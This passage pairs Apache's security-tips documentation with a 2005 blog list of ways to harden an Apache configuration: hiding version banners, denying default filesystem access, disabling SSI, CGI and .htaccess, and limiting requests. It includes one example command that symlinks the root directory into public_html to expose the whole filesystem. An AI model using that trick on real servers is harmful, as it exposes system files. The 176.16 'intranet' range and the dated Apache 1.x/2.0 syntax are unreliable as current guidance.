next time you start it, it will execute some arbitrary code. If the logs directory is writeable (by a
nonroot user), someone could replace a log file with a symlink to some other system file, and then
root might overwrite that file with arbitrary data. If the log files themselves are writeable (by a non
root user), then someone may be able to overwrite the log itself with bogus data.
Server Side Includes
Server Side Includes (SSI) present a server administrator with several potential security risks.
The first risk is the increased load on the server. All SSIenabled files have to be parsed by Apache,
whether or not there are any SSI directives included within the files. While this load increase is
minor, in a shared server environment it can become significant.
SSI files also pose the same risks that are associated with CGI scripts in general. Using the "exec
cmd" element, SSIenabled files can execute any CGI script or program under the permissions of
the user and group Apache runs as, as configured in httpd.conf. That should definitely give server
administrators pause.
There are ways to enhance the security of SSI files while still taking advantage of the benefits they
provide.
To isolate the damage a wayward SSI file can cause, a server administrator can enable suexec as
described in the CGI in General section.
Enabling SSI for files with .html or .htm extensions can be dangerous. This is especially true in a
shared, or high traffic, server environment. SSIenabled files should have a separate extension, such
as the conventional .shtml. This helps keep server load at a minimum and allows for easier
management of risk.
Another solution is to disable the ability to run scripts and programs from SSI pages. To do this,
replace Includes with IncludesNOEXEC in the Options directive. Note that users may still use
<#include virtual="..." > to execute CGI scripts if these scripts are in directories designated by a
ScriptAlias directive.
Non Script Aliased CGI
Allowing users to execute CGI scripts in any directory should only be considered if;
1. You trust your users not to write scripts which will deliberately or accidentally expose your
system to an attack.
2. You consider security at your site to be so feeble in other areas, as to make one more
potential hole irrelevant.
3. You have no users, and nobody ever visits your server.
Script Aliased CGI
Limiting CGI to special directories gives the admin control over what goes into those directories.
This is inevitably more secure than non script aliased CGI, but only if users with write access to
the directories are trusted or the admin is willing to test each new CGI script/program for
potential security holes.
Most sites choose this option over the non script aliased CGI approach.
CGI in General
Always remember that you must trust the writers of the CGI script/programs or your ability to spot
potential security holes in CGI, whether they were deliberate or accidental.
All the CGI scripts will run as the same user, so they have potential to conflict (accidentally or
deliberately) with other scripts e.g. User A hates User B, so he writes a script to trash User B's CGI
database. One program which can be used to allow scripts to run as different users is suEXEC
which is included with Apache as of 1.2 and is called from special hooks in the Apache server code.
Another popular way of doing this is with CGIWrap.
Other sources of dynamic content
Embedded scripting options which run as part of the server itself, such as mod_php, mod_perl,
mod_tcl, and mod_python, run under the identity of the server itself (see the User directive), and
therefore scripts executed by these engines potentially can access anything the server user can.
Some scripting engines may provide restrictions, but it is better to be safe and assume not.
Protecting System Settings
To run a really tight ship, you'll want to stop users from setting up .htaccess files which can
override security features you've configured. Here's one way to do it.
In the server configuration file, put
<Directory />
AllowOverride None
</Directory>
This prevents the use of .htaccess files in all directories apart from those specifically enabled.
Protect Server Files by Default
One aspect of Apache which is occasionally misunderstood is the feature of default access. That is,
unless you take steps to change it, if the server can find its way to a file through normal URL
mapping rules, it can serve it to clients.
For instance, consider the following example:
1. # cd /; ln -s / public_html
2. Accessing http://localhost/~root/
This would allow clients to walk through the entire filesystem. To work around this, add the
following block to your server's configuration:
<Directory />
Order Deny,Allow
Deny from all
</Directory>
This will forbid default access to filesystem locations. Add appropriate <Directory> blocks to
allow access only in those areas you wish. For example,
<Directory /usr/users/*/public_html>
Order Deny,Allow
Allow from all
</Directory>
<Directory /usr/local/httpd>
Order Deny,Allow
Allow from all
</Directory>
Pay particular attention to the interactions of <Location> and <Directory> directives; for
instance, even if <Directory /> denies access, a <Location /> directive might overturn it.
Also be wary of playing games with the UserDir directive; setting it to something like "./" would
have the same effect, for root, as the first example above. If you are using Apache 1.3 or above, we
strongly recommend that you include the following line in your server configuration files:
UserDir disabled root
20 ways to Secure your Apache Configuration
December 06, 2005
Here are 20 things you can do to make your apache configuration more secure.
Disclaimer: The thing about security is that there are no guarantees or absolutes. These
suggestions should make your server a bit tighter, but don't think your server is necessarily secure
after following these suggestions.
Additionally some of these suggestions may decrease performance, or cause problems due to your
environment. It is up to you to determine if any of the changes I suggest are not compatible with
your requirements. In other words proceed at your own risk.
First, make sure you've installed latest security patches
There is no sense in putting locks on the windows, if your door is wide open. As such, if you're not
patched up there isn't really much point in continuing any longer on this list. Go ahead and
bookmark this page so you can come back later, and patch your server.
Hide the Apache Version number, and other sensitive information.
By default many Apache installations tell the world what version of Apache you're running, what
operating system/version you're running, and even what Apache Modules are installed on the
server. Attackers can use this information to their advantage when performing an attack. It also
sends the message that you have left most defaults alone.
There are two directives that you need to add, or edit in your httpd.conf file:
ServerSignature Off
ServerTokens Prod
The ServerSignature appears on the bottom of pages generated by apache such as 404 pages,
directory listings, etc.
The ServerTokens directive is used to determine what Apache will put in the Server HTTP
response header. By setting it to Prod it sets the HTTP response header as follows:
Server: Apache
If you're super paranoid you could change this to something other than "Apache" by editing the
source code, or by using mod_security (see below).
Make sure apache is running under its own user account and group
Several apache installations have it run as the user nobody. So suppose both Apache, and your
mail server were running as nobody an attack through Apache may allow the mail server to also
be compromised, and vise versa.
User apache
Group apache
Ensure that files outside the web root are not served
We don't want apache to be able to access any files out side of its web root. So assuming all your
web sites are placed under one directory (we will call this /web), you would set it up as follows:
<Directory />
Order Deny,Allow
Deny from all
Options None
AllowOverride None
</Directory>
<Directory /web>
Order Allow,Deny
Allow from all
</Directory>
Note that because we set Options None and AllowOverride None this will
turn off all options and overrides for the server. You now have to add them explicitly
for each directory that requires an Option or Override.
Turn off directory browsing
You can do this with an Options directive inside a Directory tag. Set Options to either
None or -Indexes
Options -Indexes
Turn off server side includes
This is also done with the Options directive inside a Directory tag. Set Options to either
None or -Includes
Options -Includes
Turn off CGI execution
If you're not using CGI turn it off with the Options directive inside a Directory tag. Set
Options to either None or -ExecCGI
Options -ExecCGI
Don't allow apache to follow symbolic links
This can again can be done using the Options directive inside a Directory tag. Set Options
to either None or -FollowSymLinks
Options -FollowSymLinks
Turning off multiple Options
If you want to turn off all Options simply use:
Options None
If you only want to turn off some separate each option with a space in your Options directive:
Options -ExecCGI -FollowSymLinks -Indexes
Turn off support for .htaccess files
This is done in a Directory tag but with the AllowOverride directive. Set it to None.
AllowOverride None
If you require Overrides ensure that they cannot be downloaded, and/or change the name to
something other than .htaccess. For example we could change it to .httpdoverride, and
block all files that start with .ht from being downloaded as follows:
AccessFileName .httpdoverride
<Files ~ "^\.ht">
Order allow,deny
Deny from all
Satisfy All
</Files>
Run mod_security
mod_security is a super handy Apache module written by Ivan Ristic, the author of Apache Security
from O'Reilly press.
You can do the following with mod_security:
Simple filtering
•
Regular Expression based filtering
•
URL Encoding Validation
•
Unicode Encoding Validation
•
Auditing
•
Null byte attack prevention
•
Upload memory limits
•
Server identity masking
•
Built in Chroot support
•
And more
•
Disable any unnecessary modules
Apache typically comes with several modules installed. Go through the apache module
documentation and learn what each module you have enabled actually does. Many times you will
find that you don't need to have the said module enabled.
Look for lines in your httpd.conf that contain LoadModule. To disable the module you can
typically just add a # at the beginning of the line. To search for modules run:
grep LoadModule httpd.conf
Here are some modules that are typically enabled but often not needed: mod_imap,
mod_include, mod_info, mod_userdir, mod_status, mod_cgi, mod_autoindex.
Make sure only root has read access to apache's config and binaries
This can be done assuming your apache installation is located at /usr/local/apache as
follows:
chown -R root:root /usr/local/apache
chmod -R o-rwx /usr/local/apache
Lower the Timeout value
By default the Timeout directive is set to 300 seconds. You can decrease help mitigate the
potential effects of a denial of service attack.
Timeout 45
Limiting large requests
Apache has several directives that allow you to limit the size of a request, this can also be useful for
mitigating the effects of a denial of service attack.
A good place to start is the LimitRequestBody directive. This directive is set to unlimited by
default. If you are allowing file uploads of no larger than 1MB, you could set this setting to
something like:
LimitRequestBody 1048576
If you're not allowing file uploads you can set it even smaller.
Some other directives to look at are LimitRequestFields, LimitRequestFieldSize and
LimitRequestLine. These directives are set to a reasonable defaults for most servers, but you
may want to tweak them to best fit your needs. See the documentation for more info.
Limiting the size of an XML Body
If you're running mod_dav (typically used with subversion) then you may want to limit the max
size of an XML request body. The LimitXMLRequestBody directive is only available on
Apache 2, and its default value is 1 million bytes (approx 1mb). Many tutorials will have you set
this value to 0 which means files of any size may be uploaded, which may be necessary if you're
using WebDAV to upload large files, but if you're simply using it for source control, you can
probably get away with setting an upper bound, such as 10mb:
LimitXMLRequestBody 10485760
Limiting Concurrency
Apache has several configuration settings that can be used to adjust handling of concurrent requests.
The MaxClients is the maximum number of child processes that will be created to serve
requests. This may be set too high if your server doesn't have enough memory to handle a large
number of concurrent requests.
Other directives such as MaxSpareServers, MaxRequestsPerChild, and on Apache2
ThreadsPerChild, ServerLimit, and MaxSpareThreads are important to adjust to
match your operating system, and hardware.
Restricting Access by IP
If you have a resource that should only by accessed by a certain network, or IP address you can
enforce this in your apache configuration. For instance if you want to restrict access to your intranet
to allow only the 176.16 network:
Order Deny,Allow
Deny from all
Allow from 176.16.0.0/16
Or by IP:
Order Deny,Allow
Deny from all
Allow from 127.0.0.1
Adjusting KeepAlive settings
According to the Apache documentation using HTTP Keep Alive's can improve client performance
by as much as 50%, so be careful before changing these settings, you will be trading performance
for a slight denial of service mitigation.
KeepAlive's are turned on by default and you should leave them on, but you may consider changing
the MaxKeepAliveRequests which defaults to 100, and the KeepAliveTimeout which
defaults to 15. Analyze your log files to determine the appropriate values.
Run Apache in a Chroot environment
chroot allows you to run a program in its own isolated jail. This prevents a break in on one
service from being able to effect anything else on the server.
It can be fairly tricky to set this up using
chroot due to library dependencies. I mentioned above
that the mod_security module has built in chroot support. It makes the process as simple as
adding a mod_security directive to your configuration:
SecChrootDir /chroot/apache
There are however some caveats however, so check out the docs for more info.
No comments:
Post a Comment